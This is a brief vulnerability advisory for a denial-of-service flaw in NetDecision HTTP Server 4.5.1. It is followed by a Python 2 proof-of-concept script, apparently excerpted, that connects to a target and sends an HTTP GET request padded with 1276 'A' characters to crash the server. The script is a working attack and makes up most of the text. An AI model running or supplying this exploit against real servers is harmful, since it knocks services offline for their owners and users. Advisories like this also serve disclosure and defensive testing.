Vulnerable Systems:
* Netmechanica NetDecision HTTP Server
Netmechanica NetDecision HTTP Server version 4.5.1 is prone to a denial of service vulnerability.
The vulnerability is caused due to improper validation of long malicious HTTP request to web server, which allows remote attackers to crash the service.
Successful exploitation could allow an attacker to cause denial of service condition.
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,port))
except:
print "socket() failed: Server is not running"
sys.exit(1)
exploit = "GET "+ "A"*1276 + "\r\n" + "\r\n"
print "HTTP GET request with long filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
time.sleep(5)
print "[+] Please verify the server daemon port, it must be down...."
